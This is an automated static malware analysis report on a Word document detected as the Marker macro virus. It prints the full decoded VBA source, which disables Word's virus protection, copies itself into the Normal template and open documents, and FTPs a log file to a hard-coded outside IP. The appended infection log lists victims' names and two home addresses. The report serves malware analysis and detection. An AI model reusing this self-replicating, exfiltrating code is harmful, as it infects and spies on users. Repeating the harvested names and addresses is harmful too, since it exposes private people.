Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3b3f97f371dbeaf8…

MALICIOUS

Office (OLE)

40.5 KB Created: 2006-09-29 00:05:00 Authoring application: Microsoft Word 11.0 First seen: 2014-05-13
MD5: ed0dc632eccbc77f1109ae57803d702c SHA-1: aa5d75e3c09f726158872284a6e0276283f4d884 SHA-256: 3b3f97f371dbeaf87ed06e82a89fd2b421c0a11c57ff4a985207fbe0f5ed27b7
200 Risk Score

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5320 bytes
SHA-256: 3ac76d43279520328cd28a5e1d875c9b903e325294156c73126a82fe89431509
Detection
ClamAV: Doc.Trojan.Marker-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 02:30:56 PM - Tuesday, 22 Dec 1998
' bd04619
'



' 11:10:36 AM - Tuesday, 5 Jan 1999
' Ingrid W. Romer
'



' 01:33:00 PM - Wednesday, 20 Jan 1999
' Tina Griffin
'



' 05:45:20 PM - Thursday, 21 Jan 1999
' Jack Garber
' Jack Garber
' 11022 Wickshire Way
' North Bethesda, MD 20852



' 03:15:20 PM - Friday, 22 Jan 1999
' Sharon Leaman
'



' 11:14:54 AM - Friday, 29 Jan 1999
' Valued Gateway Customer
'



' 10:02:15 AM - Wednesday, 3 Feb 1999
' Valued Gateway Customer
'



' 10:51:23 AM - Wednesday, 3 Feb 1999
' munsha
'



' 04:04:16 PM - Wednesday, 3 Feb 1999
' Valued Gateway Customer
'



' 12:52:41 PM - Thursday, 4 Feb 1999
' Mark Britton
' MSB
' 6025 2nd Ave. NW
' Seattle, WA  98107



' 08:22:46 AM - Monday, 8 Feb 1999
' NWS
'



' 04:22:16 PM - Friday, 26 Feb 1999
' Bill Block
'



' 07:24:56 PM - Thursday, 18 Mar 1999
' Marc Nilsen
'



' 03:26:43 PM - Wednesday, 31 Mar 1999
' SHA
'



' 01:07:39 PM - Tuesday, 1 Jun 1999
' Sharon Im
'



' 11:28:54 AM - Wednesday, 5 Jan 2000
' Joy Bryngelson Moro
'



' 09:59:19 PM - Wednesday, 26 Jan 2000
' Earl Richardson
'



' 07:12:41 PM - Friday, 9 Jun 2000
' Mary Bass
'



' 08:28:50 AM - Tuesday, 7 Aug 2001
' Candy
'



' 10:54:34 PM - Wednesday, 13 Aug 2003
' aa
'



' 03:41:39 PM - Tuesday, 30 Mar 2004
' assunta
'